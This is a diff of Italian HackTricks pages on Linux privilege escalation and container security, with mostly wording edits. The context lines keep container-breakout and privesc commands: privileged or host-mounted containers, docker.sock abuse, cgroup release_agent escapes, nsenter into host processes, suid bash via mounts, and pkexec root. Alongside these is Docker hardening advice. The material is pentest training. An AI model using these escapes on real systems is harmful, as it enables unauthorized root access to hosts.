## Protezioni di Sicurezza del Kernel
|
||||
|
||||
- [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check)
|
||||
- [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map)
|
||||
@ -1405,7 +1405,7 @@ cisco-vmanage.md
|
||||
|
||||
[Static impacket binaries](https://github.com/ropnop/impacket_static_binaries)
|
||||
|
||||
## Strumenti di Privesc Linux/Unix
|
||||
## Strumenti Privesc Linux/Unix
|
||||
|
||||
### **Miglior strumento per cercare vettori di escalation dei privilegi locali Linux:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
|
||||
|
||||
@ -1443,7 +1443,7 @@ cisco-vmanage.md
|
||||
|
||||
## Framework di rooting Android: abuso del canale manager
|
||||
|
||||
I framework di rooting Android comunemente agganciano una syscall per esporre funzionalità privilegiate del kernel a un gestore nello spazio utente. Un'autenticazione debole del gestore (ad es., controlli di firma basati sull'ordine FD o schemi di password scadenti) può consentire a un'app locale di impersonare il gestore e di ottenere i privilegi di root su dispositivi già rootati. Scopri di più e dettagli di sfruttamento qui:
|
||||
I framework di rooting Android comunemente agganciano una syscall per esporre funzionalità privilegiate del kernel a un gestore nello spazio utente. Un'autenticazione debole del gestore (ad es., controlli di firma basati sull'ordine FD o schemi di password scadenti) può consentire a un'app locale di impersonare il gestore e ottenere i privilegi di root su dispositivi già rootati. Scopri di più e dettagli di sfruttamento qui:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
|
||||
@ -31,8 +31,8 @@ ctr run --mount type=bind,src=/,dst=/,options=rbind -t registry:5000/ubuntu:late
|
||||
```
|
||||
## PE 2
|
||||
|
||||
Esegui un contenitore privilegiato ed esci da esso.\
|
||||
Puoi eseguire un contenitore privilegiato come:
|
||||
Esegui un container privilegiato ed esci da esso.\
|
||||
Puoi eseguire un container privilegiato come:
|
||||
```bash
|
||||
ctr run --privileged --net-host -t registry:5000/modified-ubuntu:latest ubuntu bash
|
||||
```
|
||||
|
||||
@ -78,7 +78,7 @@ La firma delle immagini Docker garantisce la sicurezza e l'integrità delle imma
|
||||
- Tentare di scaricare un'immagine non firmata con la fiducia nei contenuti attivata risulta in un errore "No trust data for latest".
|
||||
- Per le spinte delle immagini dopo la prima, Docker richiede la frase di accesso della chiave del repository per firmare l'immagine.
|
||||
|
||||
Per eseguire il backup delle tue chiavi private, utilizza il comando:
|
||||
Per eseguire il backup delle tue chiavi private, usa il comando:
|
||||
```bash
|
||||
tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private
|
||||
```
|
||||
@ -90,15 +90,15 @@ Quando si cambia host Docker, è necessario spostare le chiavi root e repository
|
||||
|
||||
<summary>Riepilogo delle Funzionalità di Sicurezza dei Container</summary>
|
||||
|
||||
**Principali Funzionalità di Isolamento dei Processi**
|
||||
**Funzionalità Principali di Isolamento dei Processi**
|
||||
|
||||
Negli ambienti containerizzati, isolare i progetti e i loro processi è fondamentale per la sicurezza e la gestione delle risorse. Ecco una spiegazione semplificata dei concetti chiave:
|
||||
|
||||
**Namespace**
|
||||
|
||||
- **Scopo**: Garantire l'isolamento delle risorse come processi, rete e filesystem. In particolare in Docker, gli namespace mantengono i processi di un container separati dall'host e da altri container.
|
||||
- **Utilizzo di `unshare`**: Il comando `unshare` (o la syscall sottostante) è utilizzato per creare nuovi namespace, fornendo un ulteriore livello di isolamento. Tuttavia, mentre Kubernetes non blocca intrinsecamente questo, Docker lo fa.
|
||||
- **Limitazione**: Creare nuovi namespace non consente a un processo di tornare ai namespace predefiniti dell'host. Per penetrare nei namespace dell'host, in genere è necessario avere accesso alla directory `/proc` dell'host, utilizzando `nsenter` per l'ingresso.
|
||||
- **Utilizzo di `unshare`**: Il comando `unshare` (o la syscall sottostante) viene utilizzato per creare nuovi namespace, fornendo un ulteriore livello di isolamento. Tuttavia, mentre Kubernetes non blocca intrinsecamente questo, Docker lo fa.
|
||||
- **Limitazione**: Creare nuovi namespace non consente a un processo di tornare ai namespace predefiniti dell'host. Per penetrare nei namespace dell'host, di solito è necessario avere accesso alla directory `/proc` dell'host, utilizzando `nsenter` per l'ingresso.
|
||||
|
||||
**Gruppi di Controllo (CGroups)**
|
||||
|
||||
@ -169,7 +169,7 @@ cgroups.md
|
||||
|
||||
Le capacità consentono un **controllo più fine delle capacità che possono essere consentite** per l'utente root. Docker utilizza la funzionalità di capacità del kernel Linux per **limitare le operazioni che possono essere eseguite all'interno di un Container** indipendentemente dal tipo di utente.
|
||||
|
||||
Quando un container docker viene eseguito, il **processo abbandona capacità sensibili che il processo potrebbe utilizzare per sfuggire all'isolamento**. Questo cerca di garantire che il processo non possa eseguire azioni sensibili e fuggire:
|
||||
Quando un container docker viene eseguito, il **processo abbandona capacità sensibili che il processo potrebbe utilizzare per sfuggire all'isolamento**. Questo cerca di garantire che il processo non sarà in grado di eseguire azioni sensibili e fuggire:
|
||||
|
||||
{{#ref}}
|
||||
../linux-capabilities.md
|
||||
@ -271,15 +271,15 @@ docker run -it --security-opt=no-new-privileges:true nonewpriv
|
||||
```
|
||||
Per ulteriori opzioni **`--security-opt`** controlla: [https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration)
|
||||
|
||||
## Altre Considerazioni di Sicurezza
|
||||
## Altre Considerazioni sulla Sicurezza
|
||||
|
||||
### Gestione dei Segreti: Migliori Pratiche
|
||||
|
||||
È fondamentale evitare di incorporare segreti direttamente nelle immagini Docker o di utilizzare variabili d'ambiente, poiché questi metodi espongono le tue informazioni sensibili a chiunque abbia accesso al container tramite comandi come `docker inspect` o `exec`.
|
||||
È fondamentale evitare di incorporare segreti direttamente nelle immagini Docker o di utilizzare variabili d'ambiente, poiché questi metodi espongono le tue informazioni sensibili a chiunque abbia accesso al contenitore tramite comandi come `docker inspect` o `exec`.
|
||||
|
||||
I **volumi Docker** sono un'alternativa più sicura, raccomandata per accedere a informazioni sensibili. Possono essere utilizzati come un filesystem temporaneo in memoria, mitigando i rischi associati a `docker inspect` e al logging. Tuttavia, gli utenti root e quelli con accesso `exec` al container potrebbero comunque accedere ai segreti.
|
||||
**I volumi Docker** sono un'alternativa più sicura, raccomandata per accedere a informazioni sensibili. Possono essere utilizzati come un filesystem temporaneo in memoria, mitigando i rischi associati a `docker inspect` e al logging. Tuttavia, gli utenti root e coloro che hanno accesso `exec` al contenitore potrebbero comunque accedere ai segreti.
|
||||
|
||||
I **segreti Docker** offrono un metodo ancora più sicuro per gestire informazioni sensibili. Per le istanze che richiedono segreti durante la fase di costruzione dell'immagine, **BuildKit** presenta una soluzione efficiente con supporto per segreti a tempo di costruzione, migliorando la velocità di costruzione e fornendo funzionalità aggiuntive.
|
||||
**I segreti Docker** offrono un metodo ancora più sicuro per gestire informazioni sensibili. Per le istanze che richiedono segreti durante la fase di costruzione dell'immagine, **BuildKit** presenta una soluzione efficiente con supporto per segreti a tempo di costruzione, migliorando la velocità di costruzione e fornendo funzionalità aggiuntive.
|
||||
|
||||
Per sfruttare BuildKit, può essere attivato in tre modi:
|
||||
|
||||
@ -310,7 +310,7 @@ Negli ambienti Kubernetes, i segreti sono supportati nativamente e possono esser
|
||||
|
||||
### gVisor
|
||||
|
||||
**gVisor** è un kernel applicativo, scritto in Go, che implementa una parte sostanziale della superficie del sistema Linux. Include un runtime [Open Container Initiative (OCI)](https://www.opencontainers.org) chiamato `runsc` che fornisce un **confine di isolamento tra l'applicazione e il kernel host**. Il runtime `runsc` si integra con Docker e Kubernetes, rendendo semplice l'esecuzione di container in sandbox.
|
||||
**gVisor** è un kernel applicativo, scritto in Go, che implementa una parte sostanziale della superficie di sistema Linux. Include un runtime [Open Container Initiative (OCI)](https://www.opencontainers.org) chiamato `runsc` che fornisce un **confine di isolamento tra l'applicazione e il kernel host**. Il runtime `runsc` si integra con Docker e Kubernetes, rendendo semplice l'esecuzione di container in sandbox.
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/google/gvisor
|
||||
@ -326,17 +326,17 @@ https://katacontainers.io/
|
||||
|
||||
### Suggerimenti Riassuntivi
|
||||
|
||||
- **Non utilizzare il flag `--privileged` o montare un** [**socket Docker all'interno del container**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Lo socket docker consente di avviare container, quindi è un modo semplice per prendere il pieno controllo dell'host, ad esempio, eseguendo un altro container con il flag `--privileged`.
|
||||
- **Non utilizzare il flag `--privileged` o montare un** [**socket Docker all'interno del container**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Il socket docker consente di avviare container, quindi è un modo semplice per prendere il pieno controllo dell'host, ad esempio, eseguendo un altro container con il flag `--privileged`.
|
||||
- **Non eseguire come root all'interno del container. Utilizzare un** [**utente diverso**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **e** [**namespace utente**](https://docs.docker.com/engine/security/userns-remap/)**.** Il root nel container è lo stesso che sull'host a meno che non venga rimappato con i namespace utente. È solo leggermente limitato da, principalmente, namespace Linux, capacità e cgroups.
|
||||
- [**Elimina tutte le capacità**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) e abilita solo quelle necessarie** (`--cap-add=...`). Molti carichi di lavoro non necessitano di capacità e aggiungerle aumenta l'ambito di un potenziale attacco.
|
||||
- [**Utilizza l'opzione di sicurezza “no-new-privileges”**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) per impedire ai processi di acquisire più privilegi, ad esempio tramite binari suid.
|
||||
- [**Limita le risorse disponibili per il container**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** I limiti delle risorse possono proteggere la macchina da attacchi di denial of service.
|
||||
- **Regola** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(o SELinux)** profili per limitare le azioni e le syscalls disponibili per il container al minimo necessario.
|
||||
- **Utilizza** [**immagini docker ufficiali**](https://docs.docker.com/docker-hub/official_images/) **e richiedi firme** o costruisci le tue basate su di esse. Non ereditare o utilizzare immagini [backdoored](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/). Inoltre, conserva le chiavi root e le frasi di accesso in un luogo sicuro. Docker ha piani per gestire le chiavi con UCP.
|
||||
- **Ricostruisci regolarmente** le tue immagini per **applicare patch di sicurezza all'host e alle immagini.**
|
||||
- Gestisci i tuoi **segreti con saggezza** in modo che sia difficile per l'attaccante accedervi.
|
||||
- [**Eliminare tutte le capacità**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) e abilitare solo quelle necessarie** (`--cap-add=...`). Molti carichi di lavoro non necessitano di capacità e aggiungerle aumenta l'ambito di un potenziale attacco.
|
||||
- [**Utilizzare l'opzione di sicurezza “no-new-privileges”**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) per impedire ai processi di acquisire più privilegi, ad esempio tramite binari suid.
|
||||
- [**Limitare le risorse disponibili per il container**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** I limiti delle risorse possono proteggere la macchina da attacchi di denial of service.
|
||||
- **Regolare** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(o SELinux)** profili per limitare le azioni e le syscalls disponibili per il container al minimo necessario.
|
||||
- **Utilizzare** [**immagini docker ufficiali**](https://docs.docker.com/docker-hub/official_images/) **e richiedere firme** o costruire le proprie basate su di esse. Non ereditare o utilizzare immagini [backdoored](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/). Inoltre, conservare le chiavi root e le frasi di accesso in un luogo sicuro. Docker ha piani per gestire le chiavi con UCP.
|
||||
- **Ricostruire regolarmente** le proprie immagini per **applicare patch di sicurezza all'host e alle immagini.**
|
||||
- Gestire i propri **segreti con saggezza** in modo che sia difficile per l'attaccante accedervi.
|
||||
- Se **esponi il demone docker utilizza HTTPS** con autenticazione client e server.
|
||||
- Nel tuo Dockerfile, **preferisci COPY invece di ADD**. ADD estrae automaticamente i file compressi e può copiare file da URL. COPY non ha queste capacità. Ogni volta che è possibile, evita di utilizzare ADD per non essere suscettibile ad attacchi tramite URL remoti e file Zip.
|
||||
- Nel tuo Dockerfile, **preferisci COPY invece di ADD**. ADD estrae automaticamente file compressi e può copiare file da URL. COPY non ha queste capacità. Ogni volta che è possibile, evita di utilizzare ADD per non essere suscettibile ad attacchi tramite URL remoti e file Zip.
|
||||
- Avere **container separati per ogni micro-s**ervizio.
|
||||
- **Non mettere ssh** all'interno del container, “docker exec” può essere utilizzato per ssh nel Container.
|
||||
- Avere **immagini di container più piccole**.
|
||||
@ -351,7 +351,7 @@ docker-breakout-privilege-escalation/
|
||||
|
||||
## Bypass del Plugin di Autenticazione Docker
|
||||
|
||||
Se hai accesso allo socket docker o hai accesso a un utente nel **gruppo docker ma le tue azioni sono limitate da un plugin di autenticazione docker**, verifica se puoi **bypassarlo:**
|
||||
Se hai accesso al socket docker o hai accesso a un utente nel **gruppo docker ma le tue azioni sono limitate da un plugin di autenticazione docker**, controlla se puoi **bypassarlo:**
|
||||
|
||||
{{#ref}}
|
||||
authz-and-authn-docker-access-authorization-plugin.md
|
||||
@ -359,7 +359,7 @@ authz-and-authn-docker-access-authorization-plugin.md
|
||||
|
||||
## Indurimento di Docker
|
||||
|
||||
- Lo strumento [**docker-bench-security**](https://github.com/docker/docker-bench-security) è uno script che controlla dozzine di pratiche migliori comuni per il deployment di container Docker in produzione. I test sono tutti automatizzati e si basano sul [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\
|
||||
- Lo strumento [**docker-bench-security**](https://github.com/docker/docker-bench-security) è uno script che controlla dozzine di best-practices comuni per il deployment di container Docker in produzione. I test sono tutti automatizzati e si basano sul [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\
|
||||
Devi eseguire lo strumento dall'host che esegue docker o da un container con privilegi sufficienti. Scopri **come eseguirlo nel README:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security).
|
||||
|
||||
## Riferimenti
|
||||
|
||||
@ -19,7 +19,7 @@ Questo di solito accade nei container docker che per qualche motivo devono conne
|
||||
find / -name docker.sock 2>/dev/null
|
||||
#It's usually in /run/docker.sock
|
||||
```
|
||||
In questo caso puoi utilizzare comandi docker regolari per comunicare con il demone docker:
|
||||
In questo caso puoi utilizzare i comandi docker regolari per comunicare con il demone docker:
|
||||
```bash
|
||||
#List images to use one
|
||||
docker images
|
||||
@ -100,7 +100,7 @@ docker run --rm -it --privileged ubuntu bash
|
||||
```
|
||||
#### Montaggio Disco - Poc1
|
||||
|
||||
Container docker ben configurati non permetteranno comandi come **fdisk -l**. Tuttavia, su comandi docker mal configurati dove è specificato il flag `--privileged` o `--device=/dev/sda1` con maiuscole, è possibile ottenere i privilegi per vedere l'unità host.
|
||||
Container docker ben configurati non permetteranno comandi come **fdisk -l**. Tuttavia, su comandi docker mal configurati dove il flag `--privileged` o `--device=/dev/sda1` con maiuscole è specificato, è possibile ottenere i privilegi per vedere l'unità host.
|
||||
|
||||
|
||||
|
||||
@ -216,9 +216,9 @@ Trova una **spiegazione della tecnica** in:
|
||||
docker-release_agent-cgroups-escape.md
|
||||
{{#endref}}
|
||||
|
||||
#### Privileged Escape Abusando release_agent senza conoscere il percorso relativo - PoC3
|
||||
#### Privileged Escape Abusando di release_agent senza conoscere il percorso relativo - PoC3
|
||||
|
||||
Negli exploit precedenti, **il percorso assoluto del contenitore all'interno del filesystem dell'host è rivelato**. Tuttavia, questo non è sempre il caso. Nei casi in cui **non conosci il percorso assoluto del contenitore all'interno dell'host**, puoi utilizzare questa tecnica:
|
||||
Negli exploit precedenti, il **percorso assoluto del container all'interno del filesystem dell'host è rivelato**. Tuttavia, questo non è sempre il caso. Nei casi in cui **non conosci il percorso assoluto del container all'interno dell'host**, puoi utilizzare questa tecnica:
|
||||
|
||||
{{#ref}}
|
||||
release_agent-exploit-relative-paths-to-pids.md
|
||||
@ -335,7 +335,7 @@ docker run --rm -it -v /:/host ubuntu bash
|
||||
```
|
||||
Un altro esempio interessante può essere trovato in [**questo blog**](https://projectdiscovery.io/blog/versa-concerto-authentication-bypass-rce) dove è indicato che le cartelle `/usr/bin/` e `/bin/` dell'host sono montate all'interno del container, consentendo all'utente root del container di modificare i binari all'interno di queste cartelle. Pertanto, se un cron job utilizza un binario da lì, come `/etc/cron.d/popularity-contest`, questo consente di uscire dal container modificando un binario utilizzato dal cron job.
|
||||
|
||||
### Escalation dei privilegi con 2 shell e montaggio dell'host
|
||||
### Privilege Escalation con 2 shell e montaggio dell'host
|
||||
|
||||
Se hai accesso come **root all'interno di un container** che ha alcune cartelle dell'host montate e hai **escapato come utente non privilegiato all'host** e hai accesso in lettura sulla cartella montata.\
|
||||
Puoi creare un **file bash suid** nella **cartella montata** all'interno del **container** e **eseguirlo dall'host** per privesc.
|
||||
@ -419,7 +419,7 @@ cat /proc/635813/fd/4
|
||||
Puoi anche **terminare processi e causare un DoS**.
|
||||
|
||||
> [!WARNING]
|
||||
> Se in qualche modo hai **accesso privilegiato a un processo al di fuori del container**, potresti eseguire qualcosa come `nsenter --target <pid> --all` o `nsenter --target <pid> --mount --net --pid --cgroup` per **eseguire una shell con le stesse restrizioni ns** (si spera nessuna) **di quel processo.**
|
||||
> Se in qualche modo hai accesso privilegiato **su un processo al di fuori del container**, potresti eseguire qualcosa come `nsenter --target <pid> --all` o `nsenter --target <pid> --mount --net --pid --cgroup` per **eseguire una shell con le stesse restrizioni ns** (si spera nessuna) **di quel processo.**
|
||||
|
||||
### hostNetwork
|
||||
```
|
||||
|
||||
@ -4,11 +4,11 @@
|
||||
|
||||
## Cosa Influisce
|
||||
|
||||
Quando esegui un contenitore come privilegiato, queste sono le protezioni che stai disabilitando:
|
||||
Quando esegui un container come privilegiato, queste sono le protezioni che stai disabilitando:
|
||||
|
||||
### Monta /dev
|
||||
|
||||
In un contenitore privilegiato, tutti i **dispositivi possono essere accessibili in `/dev/`**. Pertanto puoi **uscire** **montando** il disco dell'host.
|
||||
In un container privilegiato, tutti i **dispositivi possono essere accessibili in `/dev/`**. Pertanto puoi **uscire** **montando** il disco dell'host.
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Inside default container"}}
|
||||
@ -20,7 +20,7 @@ core full null pts shm stdin tty zero
|
||||
```
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="Dentro il Contenitore Privilegiato"}}
|
||||
{{#tab name="Inside Privileged Container"}}
|
||||
```bash
|
||||
# docker run --rm --privileged -it alpine sh
|
||||
ls /dev
|
||||
@ -57,7 +57,7 @@ mount | grep '(ro'
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
### Mascheramento dei file system del kernel
|
||||
### Mascheramento sui file system del kernel
|
||||
|
||||
Il file system **/proc** è scrivibile in modo selettivo, ma per motivi di sicurezza, alcune parti sono protette da accesso in scrittura e lettura sovrapponendole con **tmpfs**, garantendo che i processi del container non possano accedere ad aree sensibili.
|
||||
|
||||
@ -103,7 +103,7 @@ Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setg
|
||||
```
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="Dentro il Contenitore Privilegiato"}}
|
||||
{{#tab name="Inside Privileged Container"}}
|
||||
```bash
|
||||
# docker run --rm --privileged -it alpine sh
|
||||
apk add -U libcap; capsh --print
|
||||
@ -119,7 +119,7 @@ Puoi manipolare le capacità disponibili per un container senza eseguire in moda
|
||||
|
||||
### Seccomp
|
||||
|
||||
**Seccomp** è utile per **limitare** le **syscall** che un container può chiamare. Un profilo seccomp predefinito è abilitato per impostazione predefinita quando si eseguono container docker, ma in modalità privilegiata è disabilitato. Scopri di più su Seccomp qui:
|
||||
**Seccomp** è utile per **limitare** le **syscalls** che un container può chiamare. Un profilo seccomp predefinito è abilitato per impostazione predefinita quando si eseguono container docker, ma in modalità privilegiata è disabilitato. Scopri di più su Seccomp qui:
|
||||
|
||||
{{#ref}}
|
||||
seccomp.md
|
||||
@ -163,7 +163,7 @@ apparmor.md
|
||||
```
|
||||
### SELinux
|
||||
|
||||
Eseguire un container con il flag `--privileged` disabilita le **etichette SELinux**, facendogli ereditare l'etichetta del motore del container, tipicamente `unconfined`, concedendo accesso completo simile a quello del motore del container. In modalità senza root, utilizza `container_runtime_t`, mentre in modalità root, viene applicato `spc_t`.
|
||||
Eseguire un container con il flag `--privileged` disabilita le **etichette SELinux**, causando l'ereditarietà dell'etichetta del motore del container, tipicamente `unconfined`, concedendo accesso completo simile a quello del motore del container. In modalità senza root, utilizza `container_runtime_t`, mentre in modalità root, viene applicato `spc_t`.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -205,7 +205,7 @@ PID USER TIME COMMAND
|
||||
|
||||
### Spazio utente
|
||||
|
||||
**Per impostazione predefinita, i motori dei container non utilizzano spazi utente, tranne per i container senza root**, che li richiedono per il montaggio del file system e l'uso di più UID. Gli spazi utente, fondamentali per i container senza root, non possono essere disabilitati e migliorano significativamente la sicurezza limitando i privilegi.
|
||||
**Per impostazione predefinita, i motori dei container non utilizzano spazi utente, tranne che per i container senza root**, che li richiedono per il montaggio del file system e per l'uso di più UID. Gli spazi utente, fondamentali per i container senza root, non possono essere disabilitati e migliorano significativamente la sicurezza limitando i privilegi.
|
||||
|
||||
## Riferimenti
|
||||
|
||||
|
||||
@ -4,15 +4,15 @@
|
||||
|
||||
## Informazioni di base
|
||||
|
||||
Un namespace cgroup è una funzionalità del kernel Linux che fornisce **isolamento delle gerarchie cgroup per i processi in esecuzione all'interno di un namespace**. I cgroups, abbreviazione di **control groups**, sono una funzionalità del kernel che consente di organizzare i processi in gruppi gerarchici per gestire e applicare **limiti sulle risorse di sistema** come CPU, memoria e I/O.
|
||||
Un cgroup namespace è una funzionalità del kernel Linux che fornisce **isolamento delle gerarchie cgroup per i processi in esecuzione all'interno di un namespace**. I cgroups, abbreviazione di **control groups**, sono una funzionalità del kernel che consente di organizzare i processi in gruppi gerarchici per gestire e applicare **limiti sulle risorse di sistema** come CPU, memoria e I/O.
|
||||
|
||||
Sebbene i namespace cgroup non siano un tipo di namespace separato come gli altri di cui abbiamo discusso in precedenza (PID, mount, network, ecc.), sono correlati al concetto di isolamento dei namespace. **I namespace cgroup virtualizzano la vista della gerarchia cgroup**, in modo che i processi in esecuzione all'interno di un namespace cgroup abbiano una vista diversa della gerarchia rispetto ai processi in esecuzione nell'host o in altri namespace.
|
||||
Sebbene i cgroup namespaces non siano un tipo di namespace separato come gli altri di cui abbiamo discusso in precedenza (PID, mount, network, ecc.), sono correlati al concetto di isolamento dei namespace. **I cgroup namespaces virtualizzano la vista della gerarchia cgroup**, in modo che i processi in esecuzione all'interno di un cgroup namespace abbiano una vista diversa della gerarchia rispetto ai processi in esecuzione nell'host o in altri namespaces.
|
||||
|
||||
### Come funziona:
|
||||
|
||||
1. Quando viene creato un nuovo namespace cgroup, **inizia con una vista della gerarchia cgroup basata sul cgroup del processo creatore**. Ciò significa che i processi in esecuzione nel nuovo namespace cgroup vedranno solo un sottoinsieme dell'intera gerarchia cgroup, limitato al sottoalbero cgroup radicato nel cgroup del processo creatore.
|
||||
2. I processi all'interno di un namespace cgroup **vedranno il proprio cgroup come la radice della gerarchia**. Ciò significa che, dalla prospettiva dei processi all'interno del namespace, il proprio cgroup appare come la radice e non possono vedere o accedere ai cgroup al di fuori del proprio sottoalbero.
|
||||
3. I namespace cgroup non forniscono direttamente isolamento delle risorse; **forniscono solo isolamento della vista della gerarchia cgroup**. **Il controllo e l'isolamento delle risorse sono ancora applicati dai sottosistemi cgroup** (ad es., cpu, memoria, ecc.) stessi.
|
||||
1. Quando viene creato un nuovo cgroup namespace, **inizia con una vista della gerarchia cgroup basata sul cgroup del processo creatore**. Ciò significa che i processi in esecuzione nel nuovo cgroup namespace vedranno solo un sottoinsieme dell'intera gerarchia cgroup, limitato al sottoalbero cgroup radicato nel cgroup del processo creatore.
|
||||
2. I processi all'interno di un cgroup namespace **vedranno il proprio cgroup come la radice della gerarchia**. Ciò significa che, dalla prospettiva dei processi all'interno del namespace, il proprio cgroup appare come la radice e non possono vedere o accedere ai cgroups al di fuori del proprio sottoalbero.
|
||||
3. I cgroup namespaces non forniscono direttamente isolamento delle risorse; **forniscono solo isolamento della vista della gerarchia cgroup**. **Il controllo e l'isolamento delle risorse sono ancora applicati dai sottosistemi cgroup** (ad es., cpu, memoria, ecc.) stessi.
|
||||
|
||||
Per ulteriori informazioni sui CGroups controlla:
|
||||
|
||||
@ -22,7 +22,7 @@ Per ulteriori informazioni sui CGroups controlla:
|
||||
|
||||
## Laboratorio:
|
||||
|
||||
### Crea diversi Namespace
|
||||
### Crea diversi Namespaces
|
||||
|
||||
#### CLI
|
||||
```bash
|
||||
@ -40,7 +40,7 @@ Quando `unshare` viene eseguito senza l'opzione `-f`, si incontra un errore a ca
|
||||
|
||||
- Il kernel Linux consente a un processo di creare nuovi namespace utilizzando la chiamata di sistema `unshare`. Tuttavia, il processo che avvia la creazione di un nuovo namespace PID (chiamato "processo unshare") non entra nel nuovo namespace; solo i suoi processi figli lo fanno.
|
||||
- Eseguire `%unshare -p /bin/bash%` avvia `/bin/bash` nello stesso processo di `unshare`. Di conseguenza, `/bin/bash` e i suoi processi figli si trovano nel namespace PID originale.
|
||||
- Il primo processo figlio di `/bin/bash` nel nuovo namespace diventa PID 1. Quando questo processo termina, attiva la pulizia del namespace se non ci sono altri processi, poiché PID 1 ha il ruolo speciale di adottare processi orfani. Il kernel Linux disabiliterà quindi l'allocazione di PID in quel namespace.
|
||||
- Il primo processo figlio di `/bin/bash` nel nuovo namespace diventa PID 1. Quando questo processo termina, attiva la pulizia del namespace se non ci sono altri processi, poiché PID 1 ha il ruolo speciale di adottare processi orfani. Il kernel Linux disabiliterà quindi l'allocazione PID in quel namespace.
|
||||
|
||||
2. **Conseguenza**:
|
||||
|
||||
@ -48,7 +48,7 @@ Quando `unshare` viene eseguito senza l'opzione `-f`, si incontra un errore a ca
|
||||
|
||||
3. **Soluzione**:
|
||||
- Il problema può essere risolto utilizzando l'opzione `-f` con `unshare`. Questa opzione fa sì che `unshare` fork un nuovo processo dopo aver creato il nuovo namespace PID.
|
||||
- Eseguire `%unshare -fp /bin/bash%` garantisce che il comando `unshare` stesso diventi PID 1 nel nuovo namespace. `/bin/bash` e i suoi processi figli sono quindi contenuti in modo sicuro all'interno di questo nuovo namespace, prevenendo l'uscita prematura di PID 1 e consentendo l'allocazione normale di PID.
|
||||
- Eseguire `%unshare -fp /bin/bash%` garantisce che il comando `unshare` stesso diventi PID 1 nel nuovo namespace. `/bin/bash` e i suoi processi figli sono quindi contenuti in modo sicuro all'interno di questo nuovo namespace, prevenendo l'uscita prematura di PID 1 e consentendo l'allocazione normale dei PID.
|
||||
|
||||
Assicurandoti che `unshare` venga eseguito con il flag `-f`, il nuovo namespace PID viene mantenuto correttamente, consentendo a `/bin/bash` e ai suoi subprocessi di operare senza incontrare l'errore di allocazione della memoria.
|
||||
|
||||
|
||||
@ -116,7 +116,7 @@ chroot(".");
|
||||
> - Esegui chroot nel processo figlio in una cartella diversa
|
||||
> - Nel processo genitore, crea un FD di una cartella che si trova al di fuori del nuovo chroot del processo figlio
|
||||
> - Passa a quel processo figlio quell'FD utilizzando l'UDS
|
||||
> - Il processo figlio cambia directory in quell'FD, e poiché è al di fuori del suo chroot, evaderà la prigione
|
||||
> - Il processo figlio cambia directory in quell'FD, e poiché è al di fuori del suo chroot, sfuggirà alla prigione
|
||||
|
||||
### Root + Mount
|
||||
|
||||
|
||||
@ -1,4 +1,4 @@
|
||||
# Gruppi Interessanti - Privesc Linux
|
||||
# Gruppi Interessanti - Linux Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -31,7 +31,7 @@ Questo perché tipicamente questi sono i gruppi all'interno della **politica pol
|
||||
```bash
|
||||
cat /etc/polkit-1/localauthority.conf.d/*
|
||||
```
|
||||
Lì troverai quali gruppi sono autorizzati a eseguire **pkexec** e **per impostazione predefinita** in alcune distribuzioni Linux i gruppi **sudo** e **admin** appaiono.
|
||||
Lì troverai quali gruppi sono autorizzati a eseguire **pkexec** e **per impostazione predefinita** in alcune distribuzioni linux i gruppi **sudo** e **admin** appaiono.
|
||||
|
||||
Per **diventare root puoi eseguire**:
|
||||
```bash
|
||||
@ -43,7 +43,7 @@ polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freed
|
||||
==== AUTHENTICATION FAILED ===
|
||||
Error executing command as another user: Not authorized
|
||||
```
|
||||
**Non è perché non hai permessi, ma perché non sei connesso senza una GUI**. E c'è una soluzione per questo problema qui: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Hai bisogno di **2 sessioni ssh diverse**:
|
||||
**Non è perché non hai permessi, ma perché non sei connesso senza una GUI**. E c'è una soluzione a questo problema qui: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Hai bisogno di **2 sessioni ssh diverse**:
|
||||
```bash:session1
|
||||
echo $$ #Step1: Get current PID
|
||||
pkexec "/bin/bash" #Step 3, execute pkexec
|
||||
